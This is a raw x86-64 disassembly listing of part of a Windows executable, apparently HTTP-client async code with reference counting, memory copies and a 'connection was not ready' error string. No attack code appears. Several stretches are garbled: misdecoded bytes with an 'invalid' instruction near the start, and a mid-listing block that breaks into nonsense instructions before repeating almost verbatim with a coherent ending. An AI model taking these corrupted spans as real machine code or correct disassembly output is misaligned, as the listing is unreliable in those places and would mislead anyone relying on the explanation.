jmp 0x14005e108
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x620], rax
lea rcx, [rsp + 0x650]
mov r8d, 0x1b8
mov rdx, rsi
call fcn.140106250
lea rax, [rsp + 0x620]
mov qword [rsp + 0x808], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14005f510
test eax, eax
jne 0x1400625eb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
lea rcx, [rsp + 0x460]
lea rdx, [rsp + 0x650]
mov r8d, 0x1c0
call fcn.140106250
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140062584
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rsi, qword [rcx + 0xd8]
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x650]
mov r8d, 0x1c0
call fcn.140106250
cmp rsi, 2
je 0x14006259f
mov rax, qword [rsp + 0x298]
mov rdx, qword [rax]
test rsi, rsi
mov qword [rsp + 0x40], rdx
je 0x14005f709
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cc14.2
call fcn.140035fe0
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e410
jmp 0x14005e3ad
mov al, 5
jmp 0x14005f6e5
mov al, 4
mov rcx, qword [rsp + 0x378]
mov byte [rcx], al
mov al, 3
jmp 0x1400612f9
call fcn.140035fe0
cmp dword [rsi], 9
je 0x14005e4ce
jmp 0x14005df9f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cc14.2
movaps xmm0, xmmword [rsp + 0xda0]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0xd90]
movaps xmmword [rsp + 0x320], xmm0
movdqa xmm0, xmmword [rsp + 0xd50]
movdqa xmm1, xmmword [rsp + 0xd60]
movdqa xmm2, xmmword [rsp + 0xd70]
movdqa xmm3, xmmword [rsp + 0xd80]
movdqa xmmword [rsp + 0x310], xmm3
movdqa xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov eax, dword [rsp + 0xbc]
mov ecx, dword [rsp + 0xbf]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x63], ecx
jmp 0x14005e8a5
xor r15d, r15d
mov r13d, 6
xor r14d, r14d
mov r12, rbx
jmp 0x140060320
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x60
add al, 0
add byte [rcx - 0x48], al
call 0x12806009d
scasd eax, dword [rdi]
invalid
mov rbp, qword [rdi + 0x768]
mov rax, qword [rbp + 0x1c0]
nop
test al, 1
jne 0x1400601c4
cmp rax, 0xfffffffffffffffe
je 0x140062890
lea rcx, [rax + 2]
lock cmpxchg qword [rbp + 0x1c0], rcx
jne 0x1400600b0
lea rcx, [rbp + 0x80]
mov r14d, 1
mov esi, 1
lock xadd qword [rbp + 0x88], rsi
mov rdx, rsi
call fcn.140065920
mov rbx, rax
and esi, 0x1f
imul r15, rsi, 0x118
mov qword [rax + r15], r13
mov rax, qword [rsp + 0x40]
mov qword [rbx + r15 + 8], rax
mov rax, qword [rsp + 0x38]
mov qword [rbx + r15 + 0x10], rax
lea rcx, [rbx + r15]
add rcx, 0x18
lea rdx, [rsp + 0xe0]
mov r8d, 0xe8
call fcn.140106250
mov qword [rbx + r15 + 0x100], 0
mov qword [rbx + r15 + 0x108], 1
mov qword [rbx + r15 + 0x110], r12
mov ecx, esi
shl r14, cl
lock or qword [rbx + 0x2310], r14
mov rax, qword [rbp + 0x110]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbp + 0x110], rcx
jne 0x140060170
test rax, rax
jne 0x1400601b1
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x108]
mov qword [rbp + 0x100], 0
lock and qword [rbp + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400601b1
call qword [rax + 8]
mov r13d, 6
xor ebp, ebp
xor r15d, r15d
xor r14d, r14d
jmp 0x140060318
lea rcx, [rsp + 0x14b0]
lea rdx, [rsp + 0xe0]
mov r8d, 0xe8
call fcn.140106250
mov rax, qword [r12 + 0x30]
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x38]
nop
mov rcx, rax
or rcx, 4
lock cmpxchg qword [r12 + 0x30], rcx
jne 0x1400601f0
and eax, 0xa
cmp eax, 8
jne 0x140060215
mov rax, qword [r12 + 0x10]
mov rcx, qword [r12 + 0x18]
call qword [rax + 0x10]
lock dec qword [r12]
jne 0x140060224
mov rcx, r12
call fcn.140065850
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xf0], r14
lea rcx, [rsp + 0xf8]
lea rdx, [rsp + 0x14b0]
mov r8d, 0xe8
call fcn.140106250
lea rcx, [rsp + 0x1e0]
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x1f0], r12
call fcn.140065ad0
lea rdx, [rsp + 0xe0]
xor ebp, ebp
cmp r13, 3
je 0x14005fed7
mov r12, r14
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140062493
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.connection_was_not_readydispatch_dropped_without_returning_error_
mov r8d, 0x18
mov rcx, rax
call fcn.140065ca0
lea r14, [rsp + 0xe0]
lea rdx, [rsp + 0x14b0]
mov r8d, 0xe8
mov rcx, r14
call fcn.140106250
mov rdx, r14
mov r15d, 1
xor ebp, ebp
mov r14, rbx
jmp 0x140060320
lea rdx, [rsp + 0xe0]
lea rbx, [rsp + 0x650]
mov r8d, 0xe8
mov rcx, rbx
call fcn.140106250
mov qword [rdi + 0x7a8], rbp
mov qword [rdi + 0x7b0], r15
mov qword [rdi + 0x7b8], rsi
mov qword [rdi + 0x7c0], r13
mov qword [rdi + 0x7c8], r14
mov qword [rdi + 0x7d0], r12
lea rcx, [rdi + 0x7d8]
mov r8d, 0xe8
mov rdx, rbx
call fcn.140106250
lea rsi, [rdi + 0x7a8]
lea rax, [rdi + 0x7b8]
mov qword [rsp + 0x40], rax
test rbp, rbp
je 0x1400606b7
cmp qword [rdi + 0x7b0], 0
jne 0x1400606c5
mov qword [rsp + 0x68], rsi
lea rbp, [rdi + 0x7c8]
lea rax, [rdi + 0x7d0]
mov qword [rsp + 0x38], rax
lea r15, [rsp + 0xf0]
lea r13, [rdi + 0x868]
mov r14, qword [rdi + 0x7c0]
lea rbx, [rsp + 0xe0]
jmp 0x1400604f0
mov r8d, 0xa0
mov rbx, rsi
mov rcx, rsi
lea rdx, [rsp + 0x460]
call fcn.140106250
mov r8d, 0xa0
lea rsi, [rsp + 0x1140]
mov rcx, rsi
mov rdx, rbx
call fcn.140106250
mov rax, qword [rsp + 0xed0]
mov qword [rsp + 0x3d0], rax
movaps xmm0, xmmword [rsp + 0xec0]
movaps xmmword [rsp + 0x3c0], xmm0
movaps xmm0, xmmword [rsp + 0xe80]
movaps xmm1, xmmword [rsp + 0xe90]
movaps xmm2, xmmword [rsp + 0xea0]
movaps xmm3, xmmword [rsp + 0xeb0]
movaps xmmword [rsp + 0x3b0], xmm3
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
mov rcx, qword [rsp + 0x40]
call fcn.140066180
mov qword [rdi + 0x7b8], r12
mov qword [rdi + 0x7c0], r14
mov r8d, 0xa0
mov rcx, rbp
mov rdx, rsi
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqa xmm2, xmmword [rsp + 0x3a0]
movdqa xmm3, xmmword [rsp + 0x3b0]
movups xmmword [r13], xmm0
movdqu xmmword [r13 + 0x10], xmm1
movdqu xmmword [r13 + 0x20], xmm2
movdqu xmmword [r13 + 0x30], xmm3
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqu xmmword [r13 + 0x40], xmm0
mov rax, qword [rsp + 0x3d0]
add eax, dword [rax]
add byte [rcx - 0x77], cl
push r8
add eax, dword [rax]
add byte [rcx - 0x77], cl
push r8
lea rax, [r14 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140060c47
cmp qword [rbp], 0
jne 0x1400621fb
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x80]
call fcn.140065e80
mov r14, qword [rsp + 0xe8]
cmp r14, 6
je 0x1400612f7
mov rsi, rbx
mov r12, qword [rsp + 0xe0]
mov r8d, 0xa0
lea rcx, [rsp + 0x460]
mov rdx, r15
call fcn.140106250
movups xmm0, xmmword [r15 + 0xa0]
movdqu xmm1, xmmword [r15 + 0xb0]
movdqu xmm2, xmmword [r15 + 0xc0]
movdqu xmm3, xmmword [r15 + 0xd0]
movaps xmmword [rsp + 0x930], xmm0
movdqa xmmword [rsp + 0x940], xmm1
movdqa xmmword [rsp + 0x950], xmm2
movdqa xmmword [rsp + 0x960], xmm3
movdqu xmm0, xmmword [r15 + 0xe0]
movdqa xmmword [rsp + 0x970], xmm0
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x980], rax
cmp qword [rbp], 0
jne 0x140062213
mov rax, qword [rsp + 0x38]
mov rbx, qword [rax]
test rbx, rbx
je 0x140060615
mov rax, qword [rbx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x1400605e0
and eax, 0xa
cmp eax, 8
jne 0x140060602
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
call qword [rax + 0x10]
lock dec qword [rbx]
jne 0x140060615
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140065850
mov qword [rbp], 1
cmp r14d, 4
je 0x1400603e0
cmp r14d, 5
je 0x14006225a
mov rbx, rsi
mov r8d, 0xa0
mov rcx, rsi
lea rdx, [rsp + 0x460]
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x930]
movdqa xmm1, xmmword [rsp + 0x940]
movdqa xmm2, xmmword [rsp + 0x950]
movdqa xmm3, xmmword [rsp + 0x960]
movaps xmmword [rsp + 0xe80], xmm0
movdqa xmmword [rsp + 0xe90], xmm1
movdqa xmmword [rsp + 0xea0], xmm2
movdqa xmmword [rsp + 0xeb0], xmm3
movdqa xmm0, xmmword [rsp + 0x970]
movdqa xmmword [rsp + 0xec0], xmm0
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0xed0], rax
jmp 0x1400603f9
cmp qword [rdi + 0x7b0], 0
je 0x14006092a
mov r12, qword [rdi + 0x7b8]
mov r14, qword [rdi + 0x7c0]
mov qword [rdi + 0x7c0], 5
cmp r14, 5
je 0x14006246c
mov rbx, qword [rdi + 0x7c8]
mov r15, qword [rdi + 0x7d0]
lea rdx, [rdi + 0x7d8]
lea rcx, [rsp + 0x1300]
mov r8d, 0x90
call fcn.140106250
movups xmm0, xmmword [rdi + 0x868]
movdqu xmm1, xmmword [rdi + 0x878]
movdqu xmm2, xmmword [rdi + 0x888]
movdqu xmm3, xmmword [rdi + 0x898]
movaps xmmword [rsp + 0x400], xmm0
movdqa xmmword [rsp + 0x410], xmm1
movdqa xmmword [rsp + 0x420], xmm2
movdqa xmmword [rsp + 0x430], xmm3
movdqu xmm0, xmmword [rdi + 0x8a8]
movdqa xmmword [rsp + 0x440], xmm0
mov rax, qword [rdi + 0x8b8]
mov qword [rsp + 0x450], rax
mov rbp, qword [rsp + 0x58]
mov rcx, rsi
call fcn.140066270
cmp r14, 4
jne 0x140060d1b
mov qword [rsp + 0xf88], r15
lea r12, [rsp + 0xf90]
lea rdx, [rsp + 0x1300]
mov r8d, 0x90
mov rcx, r12
call fcn.140106250
mov qword [rsp + 0xf80], rbx
cmp byte [rdi + 0x791], 2
je 0x140062233
lea r15, [rdi + 0x730]
mov rcx, qword [rdi + 0x778]
test rcx, rcx
je 0x1400607f6
lea rdx, [rsp + 0xfe0]
mov rax, qword [rdi + 0x780]
call qword [rax + 0x20]
cmp byte [rdi + 0x791], 2
je 0x140062233
mov rax, qword [rdi + 0x760]
mov rax, qword [rax + 0x10]
cmp rax, 3
jne 0x14006083a
mov r13, qword [rsp + 0xf80]
mov rax, qword [rsp + 0xf88]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x1390]
mov r8d, 0x90
mov rdx, r12
call fcn.140106250
jmp 0x140060ef0
cmp byte [rdi + 0x791], 2
je 0x140062233
cmp byte [rdi + 0x770], 2
je 0x14006086f
cmp qword [rdi + 0x798], 0
je 0x14006086f
mov rax, qword [rdi + 0x760]
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x1400614fc
mov rax, qword [r15 + 0x70]
mov qword [rsp + 0x150], rax
movups xmm0, xmmword [r15 + 0x60]
movaps xmmword [rsp + 0x140], xmm0
movups xmm0, xmmword [r15 + 0x50]
movaps xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rsp + 0x120], xmm0
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
movdqu xmm3, xmmword [r15 + 0x30]
movdqa xmmword [rsp + 0x110], xmm3
movdqa xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0xe0]
call fcn.140064ad0
mov r13, qword [rsp + 0xf80]
mov rax, qword [rsp + 0xf88]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x1390]
mov r8d, 0x90
mov rdx, r12
call fcn.140106250
lea rsi, [rdi + 0x729]
mov r14d, 4
jmp 0x140060f24
mov qword [rsp + 0x68], rsi
lea rbp, [rdi + 0x7c8]
lea rax, [rdi + 0x7d0]
mov qword [rsp + 0x38], rax
lea r15, [rsp + 0xf0]
lea r13, [rdi + 0x868]
mov r14, qword [rdi + 0x7c0]
lea rbx, [rsp + 0xe0]
jmp 0x140060a80
mov r8d, 0xa0
mov rbx, rsi
mov rcx, rsi
lea rdx, [rsp + 0x460]
call fcn.140106250
mov r8d, 0xa0
lea rsi, [rsp + 0x1140]
mov rcx, rsi
mov rdx, rbx
call fcn.140106250
mov rax, qword [rsp + 0xed0]
mov qword [rsp + 0x3d0], rax
movaps xmm0, xmmword [rsp + 0xec0]
movaps xmmword [rsp + 0x3c0], xmm0
movaps xmm0, xmmword [rsp + 0xe80]
movaps xmm1, xmmword [rsp + 0xe90]
movaps xmm2, xmmword [rsp + 0xea0]
movaps xmm3, xmmword [rsp + 0xeb0]
movaps xmmword [rsp + 0x3b0], xmm3
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
mov rcx, qword [rsp + 0x40]
call fcn.140066180
mov qword [rdi + 0x7b8], r12
mov qword [rdi + 0x7c0], r14
mov r8d, 0xa0
mov rcx, rbp
mov rdx, rsi
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqa xmm2, xmmword [rsp + 0x3a0]
movdqa xmm3, xmmword [rsp + 0x3b0]
movups xmmword [r13], xmm0
movdqu xmmword [r13 + 0x10], xmm1
movdqu xmmword [r13 + 0x20], xmm2
movdqu xmmword [r13 + 0x30], xmm3
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqu xmmword [r13 + 0x40], xmm0
mov rax, qword [rsp + 0x3d0]
mov qword [r13 + 0x50], rax
lea rax, [r14 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140060c47
cmp qword [rbp], 0
jne 0x1400621fb
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x80]
call fcn.140065e80
mov r14, qword [rsp + 0xe8]
cmp r14, 6
je 0x1400612f7
mov rsi, rbx
mov r12, qword [rsp + 0xe0]
mov r8d, 0xa0
lea rcx, [rsp + 0x460]
mov rdx, r15
call fcn.140106250
movups xmm0, xmmword [r15 + 0xa0]
movdqu xmm1, xmmword [r15 + 0xb0]
movdqu xmm2, xmmword [r15 + 0xc0]
movdqu xmm3, xmmword [r15 + 0xd0]
movaps xmmword [rsp + 0x930], xmm0
movdqa xmmword [rsp + 0x940], xmm1
movdqa xmmword [rsp + 0x950], xmm2
movdqa xmmword [rsp + 0x960], xmm3
movdqu xmm0, xmmword [r15 + 0xe0]
movdqa xmmword [rsp + 0x970], xmm0
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x980], rax
cmp qword [rbp], 0
jne 0x140062213
mov rax, qword [rsp + 0x38]
mov rbx, qword [rax]
test rbx, rbx
je 0x140060ba5
mov rax, qword [rbx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x30], rcx
jne 0x140060b70
and eax, 0xa
cmp eax, 8
jne 0x140060b92
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
call qword [rax + 0x10]
lock dec qword [rbx]
jne 0x140060ba5
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140065850
mov qword [rbp], 1
cmp r14d, 4
je 0x140060970
cmp r14d, 5
je 0x140062272
mov rbx, rsi
mov r8d, 0xa0
mov rcx, rsi
lea rdx, [rsp + 0x460]
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x930]
movdqa xmm1, xmmword [rsp + 0x940]
movdqa xmm2, xmmword [rsp + 0x950]
movdqa xmm3, xmmword [rsp + 0x960]
movaps xmmword [rsp + 0xe80], xmm0
movdqa xmmword [rsp + 0xe90], xmm1
movdqa xmmword [rsp + 0xea0], xmm2
movdqa xmmword [rsp + 0xeb0], xmm3
movdqa xmm0, xmmword [rsp + 0x970]
movdqa xmmword [rsp + 0xec0], xmm0
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0xed0], rax
jmp 0x140060989
cmp rax, 1
jne 0x1400621e3
mov r12, qword [rdi + 0x7b8]
mov qword [rdi + 0x7c0], 5
cmp r14, 5
mov rbp, qword [rsp + 0x58]
je 0x14006246c
mov rbx, qword [rdi + 0x7c8]
mov r15, qword [rdi + 0x7d0]
lea rdx, [rdi + 0x7d8]
lea rcx, [rsp + 0x1300]
mov r8d, 0x90
call fcn.140106250
movups xmm0, xmmword [r13]
movdqu xmm1, xmmword [r13 + 0x10]
movdqu xmm2, xmmword [r13 + 0x20]
movdqu xmm3, xmmword [r13 + 0x30]
movaps xmmword [rsp + 0x400], xmm0
movdqa xmmword [rsp + 0x410], xmm1
movdqa xmmword [rsp + 0x420], xmm2
movdqa xmmword [rsp + 0x430], xmm3
movdqu xmm0, xmmword [r13 + 0x40]
movdqa xmmword [rsp + 0x440], xmm0
mov rax, qword [r13 + 0x50]
mov qword [rsp + 0x450], rax
mov rcx, qword [rsp + 0x40]
call fcn.140066180
mov qword [rdi + 0x7c0], 8
mov rsi, qword [rsp + 0x68]
mov rcx, rsi
call fcn.140066270
cmp r14, 4
je 0x140060789
movzx r13d, byte [rdi + 0x791]
cmp r13b, 2
je 0x140062233
mov qword [rsp + 0x68], rbx
movzx eax, byte [rdi + 0x7a0]
mov byte [rsp + 0x38], al
movzx eax, byte [rdi + 0x790]
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 0x778]
xor esi, esi
test rcx, rcx
je 0x140060d63
mov rax, qword [rdi + 0x780]
call qword [rax + 0x18]
mov rsi, rax
mov rbx, qword [rdi + 0x788]
lock inc qword [rbx]
jle case.0x14005cc14.2
cmp byte [r12 + 0x29], 2
je 0x140060dee
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x90], r15
mov r15, qword [r12 + 0x10]
test r15, r15
je 0x140060dc2
mov rbp, qword [r12 + 0x18]
mov rcx, r15
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140060dc2
cmp qword [rbp + 0x10], 0x11
jb 0x140060db0
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r12 + 0x20]
lock dec qword [rax]
mov rbp, qword [rsp + 0x58]
mov r15, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x78]
jne 0x140060dee
mov rcx, qword [r12 + 0x20]
call fcn.14004f050
mov rdx, qword [rsp + 0x78]
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], rdx
mov qword [r12 + 0x20], rbx
movzx eax, byte [rsp + 0x40]
mov byte [r12 + 0x28], al
mov byte [r12 + 0x29], r13b
mov eax, dword [rsp + 0xe0]
mov dword [r12 + 0x2a], eax
movzx eax, word [rsp + 0xe4]
mov word [r12 + 0x2e], ax
lea rax, [rsp + 0xe0]
cmp r14, 3
je 0x140060ed8
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x1390]
lea rdx, [rsp + 0x1300]
mov r8d, 0x90
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x400]
movdqa xmm1, xmmword [rsp + 0x410]
movdqa xmm2, xmmword [rsp + 0x420]
movdqa xmm3, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x8d0], xmm0
movdqa xmmword [rsp + 0x8e0], xmm1
movdqa xmmword [rsp + 0x8f0], xmm2
movdqa xmmword [rsp + 0x900], xmm3
movdqa xmm0, xmmword [rsp + 0x440]
movdqa xmmword [rsp + 0x910], xmm0
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x920], rax
lea rax, [rsp + 0x460]
mov qword [rsp + 0x98], r15
mov qword [rax], r12
mov r13, qword [rsp + 0xe0]
mov r15, qword [rsp + 0x460]
movzx ebx, byte [rsp + 0x38]
lea rcx, [rdi + 0x730]
call fcn.140064ad0
lea rsi, [rdi + 0x729]
cmp byte [rdi + 0x729], 0
je 0x140060f24
lea rcx, [rdi + 0x628]
call fcn.140002f70
lea rcx, [rdi + 0x708]
call fcn.14005bac0
mov byte [rsi], 0
lea rcx, [rsp + 0x1598]
lea rdx, [rsp + 0x1390]
mov r8d, 0x90
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x8d0]
movaps xmm1, xmmword [rsp + 0x8e0]
movaps xmm2, xmmword [rsp + 0x8f0]
movaps xmm3, xmmword [rsp + 0x900]
movaps xmmword [rsp + 0xa70], xmm0
movaps xmmword [rsp + 0xa80], xmm1
movaps xmmword [rsp + 0xa90], xmm2
movaps xmmword [rsp + 0xaa0], xmm3
movaps xmm0, xmmword [rsp + 0x910]
movaps xmmword [rsp + 0xab0], xmm0
mov rax, qword [rsp + 0x920]
mov qword [rsp + 0xac0], rax
mov rax, qword [rsp + 0xa0]
mov byte [rax], 1
cmp r14, 5
je 0x140061303
lea rcx, [rsp + 0x1420]
lea rdx, [rsp + 0x1598]
mov r8d, 0x90
call fcn.140106250
movaps xmm0, xmmword [rsp + 0xa70]
movaps xmm1, xmmword [rsp + 0xa80]
movaps xmm2, xmmword [rsp + 0xa90]
movaps xmm3, xmmword [rsp + 0xaa0]
movaps xmmword [rsp + 0xad0], xmm0
movaps xmmword [rsp + 0xae0], xmm1
movaps xmmword [rsp + 0xaf0], xmm2
movaps xmmword [rsp + 0xb00], xmm3
movaps xmm0, xmmword [rsp + 0xab0]
movaps xmmword [rsp + 0xb10], xmm0
mov rax, qword [rsp + 0xac0]
mov qword [rsp + 0xb20], rax
mov rcx, rbp
call fcn.140066370
cmp r14, 3
je 0x140061319
cmp r14, 4
je 0x140061493
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], r13
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0xf8]
lea rdx, [rsp + 0x1420]
mov r8d, 0x90
call fcn.140106250
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0xad0]
movdqa xmm1, xmmword [rsp + 0xae0]
movdqa xmm2, xmmword [rsp + 0xaf0]
movdqa xmm3, xmmword [rsp + 0xb00]
movups xmmword [rsp + 0x188], xmm0
movdqu xmmword [rsp + 0x198], xmm1
movdqu xmmword [rsp + 0x1a8], xmm2
movdqu xmmword [rsp + 0x1b8], xmm3
movdqa xmm0, xmmword [rsp + 0xb10]
movdqu xmmword [rsp + 0x1c8], xmm0
mov qword [rsp + 0x650], r15
test bl, 1
je 0x1400614cb
cmp byte [rdi + 0x358], 0
je 0x1400614cb
lea rsi, [rsp + 0x188]
movzx ebp, byte [rdi + 0x490]
test ebp, ebp
je 0x14006116c
cmp ebp, 2
jne 0x140061164
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006224b
mov rbx, rax
mov rax, qword [rdi + 0x498]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
jmp 0x14006116c
movzx r14d, byte [rdi + 0x491]
lea rdx, [rdi + 0x4b8]
mov rax, qword [rdi + 0x4a0]
mov r8, qword [rdi + 0x4a8]
mov r9, qword [rdi + 0x4b0]
lea rcx, [rsp + 0x470]
call qword [rax]
lea rdx, [rdi + 0x4d8]
mov rax, qword [rdi + 0x4c0]
mov r8, qword [rdi + 0x4c8]
mov r9, qword [rdi + 0x4d0]
lea rcx, [rsp + 0x490]
call qword [rax]
movzx eax, word [rdi + 0x4e0]
mov byte [rsp + 0x460], bpl
mov byte [rsp + 0x461], r14b
mov qword [rsp + 0x468], rbx
mov word [rsp + 0x4b0], ax
lea r14, [rsp + 0x140]
cmp byte [rsp + 0x140], 2
jb 0x14006121d
mov rbx, qword [rsp + 0x148]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x168]
mov rax, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x180]
mov rcx, rsi
call qword [rax + 0x10]
mov rax, qword [rsp + 0x4b0]
mov qword [r14 + 0x50], rax
movups xmm0, xmmword [rsp + 0x4a0]
movups xmmword [r14 + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x460]
movdqu xmm1, xmmword [rsp + 0x470]
movdqu xmm2, xmmword [rsp + 0x480]
movdqu xmm3, xmmword [rsp + 0x490]
movdqu xmmword [r14 + 0x30], xmm3
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
lea rsi, [rsp + 0x17a0]
lea rdx, [rsp + 0xe0]
mov r8d, 0x100
mov rcx, rsi
call fcn.140106250
lea rcx, [rsp + 0x650]
call fcn.140035fe0
lea rcx, [rdi + 0x360]
mov r8d, 0x100
mov rdx, rsi
call fcn.140106250
jmp 0x14005cdd6
mov al, 4
mov rcx, qword [rsp + 0xa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x370]
mov qword [rax], 4
mov cl, 3
jmp 0x140061460
mov ebx, 3
mov r15, r13
cmp byte [rdi + 0x490], 2
jb 0x140061355
mov rsi, qword [rdi + 0x498]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x4b8]
mov rax, qword [rdi + 0x4a0]
mov rdx, qword [rdi + 0x4a8]
mov r8, qword [rdi + 0x4b0]
call qword [rax + 0x10]
lea rcx, [rdi + 0x4d8]
mov rax, qword [rdi + 0x4c0]
mov rdx, qword [rdi + 0x4c8]
mov r8, qword [rdi + 0x4d0]
call qword [rax + 0x10]
cmp byte [rdi + 0x460], 2
jb 0x1400613c7
mov rsi, qword [rdi + 0x468]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x488]
mov rax, qword [rdi + 0x470]
mov rdx, qword [rdi + 0x478]
mov r8, qword [rdi + 0x480]
call qword [rax + 0x10]
mov rax, qword [rdi + 0x2b0]
test rax, rax
je 0x14006140b
lock dec qword [rax]
jne 0x14006140b
mov rcx, qword [rdi + 0x2b0]
mov rdx, qword [rdi + 0x2b8]
call fcn.140005050
lea rcx, [rdi + 0x2d0]
call fcn.140066460
mov rax, qword [rdi + 0x350]
